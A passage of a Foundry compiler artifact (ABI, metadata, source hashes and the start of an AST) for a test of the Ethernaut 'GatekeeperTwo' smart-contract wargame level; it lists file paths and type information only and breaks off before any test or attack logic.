ymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/GatekeeperTwo.t.sol":"TestGatekeeperTwo"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/GatekeeperTwoAttack.sol":{"keccak256":"0x2dc68eec246c0569993ce227bc6f5280bfa0a130c07d2543b058cb69dfe199d4","urls":["bzz-raw://c5dcef793c7f8d8017b966e2052c25eaa06deb7c8c83f1f6943ef5442b4d915e","dweb:/ipfs/QmehnoQbe2VZVYuJo6pmHtuo8oMmTJnV4XHpZ1sxx3Q112"],"license":"MIT"},"src/levels/GatekeeperTwo.sol":{"keccak256":"0x8ead9cd2035c04cc27a3e58f4d0c2b67279668354f87ebfccd0bec8580b9b2f3","urls":["bzz-raw://32a70f3e50165369d1febe0fb8f748cb83616fec2cecf76062dcf6b758331a92","dweb:/ipfs/Qmd6cEi9rVPF2JRFAc97xmAoTe4Fv5HecERQuhjaYUpHsd"],"license":"MIT"},"src/levels/GatekeeperTwoFactory.sol":{"keccak256":"0xc2bb7dcf22a19b6c937a167b47f43197507c60021e4d0b8f64a5fd6ac33f78d9","urls":["bzz-raw://cce7e423b14ab033972b7f782225df3f65d0582af6ceb8888f0dba3c362dc6aa","dweb:/ipfs/QmPXNhJYFwuJgei6cX2ovK6HoAYX1syicpCEf1tXyfk45N"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/GatekeeperTwo.t.sol":{"keccak256":"0xaba4701a81e6b47cf9abbddc265289c7f0bab4654bfc2201f65ccddd416bf644","urls":["bzz-raw://ab76e5fa92785af976ac6357a9e44d9a80368450752ff661e105ef0e5426695b","dweb:/ipfs/QmQTCbu5iCxS1qKTkP4QbHqucMKkqynYHvqiuqRYN5VnXp"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/GatekeeperTwo.t.sol","id":61784,"exportedSymbols":{"Ethernaut":[49101],"GatekeeperTwo":[53011],"GatekeeperTwoAttack":[49527],"GatekeeperTwoFactory":[53066],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestGatekeeperTwo":[61783],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2048:134","nodes":[{"id":61592,"nodeType":"PragmaDirective","src":"32:23:134","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":61593,"nodeType":"ImportDirective","src":"57:28:134","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":61784,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":61595,"nodeType":"ImportDirective","src":"86:43:134","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":61784,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":61594,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:134","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61597,"nodeType":"ImportDirective","src":"131:59:134","nodes":[],"absolutePath":"src/levels/GatekeeperTwo.sol","file":"src/levels/GatekeeperTwo.sol","nameLocation":"-1:-1:-1","scope":61784,"sourceUnit":53012,"symbolAliases":[{"foreign":{"id":61596,"name":"GatekeeperTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53011,"src":"139:13:134","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61599,"nodeType":"ImportDirective","src":"191:73:134","nodes":[],"absolutePath":"src/levels/GatekeeperTwoFactory.sol","file":"src/levels/GatekeeperTwoFactory.sol","nameLocation":"-1:-1:-1","scope":61784,"sourceUnit":53067,"symbolAliases":[{"foreign":{"id":61598,"name":"GatekeeperTwoFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53066,"src":"199:20:134","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61601,"nodeType":"ImportDirective","src":"265:72:134","nodes":[],"absolutePath":"src/attacks/GatekeeperTwoAttack.sol","file":"src/attacks/GatekeeperTwoAttack.sol","nameLocation":"-1:-1:-1","scope":61784,"sourceUnit":49528,"symbolAliases":[{"foreign":{"id":61600,"name":"GatekeeperTwoAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49527,"src":"273:19:134","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61603,"nodeType":"ImportDirective","src":"338:48:134","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":61784,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":61602,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"346:5:134","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61605,"nodeType":"ImportDirective","src":"387:44:134","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":61784,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":61604,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"395:9:134","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61783,"nodeType":"ContractDefinition","src":"433:1646:134","nodes":[{"id":61612,"nodeType":"VariableDeclaration","src":"481:19:134","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"491:9:134","scope":61783,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":61611,"nodeType":"UserDefinedTypeName","pathNode":{"id":61610,"name":"Ethernaut","nameLocations":["481:9:134"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"481:9:134"},"referencedDeclaration":49101,"src":"481:9:134","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":61615,"nodeType":"VariableDeclaration","src":"506:22:134","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"520:8:134","scope":61783,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"},"typeName":{"id":61614,"nodeType":"UserDefinedTypeName","pathNode":{"id":61613,"name":"GatekeeperTwo","nameLocations":["506:13:134"],"nodeType":"IdentifierPath","referencedDeclaration":53011,"src":"506:13:134"},"referencedDeclaration":53011,"src":"506:13:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract 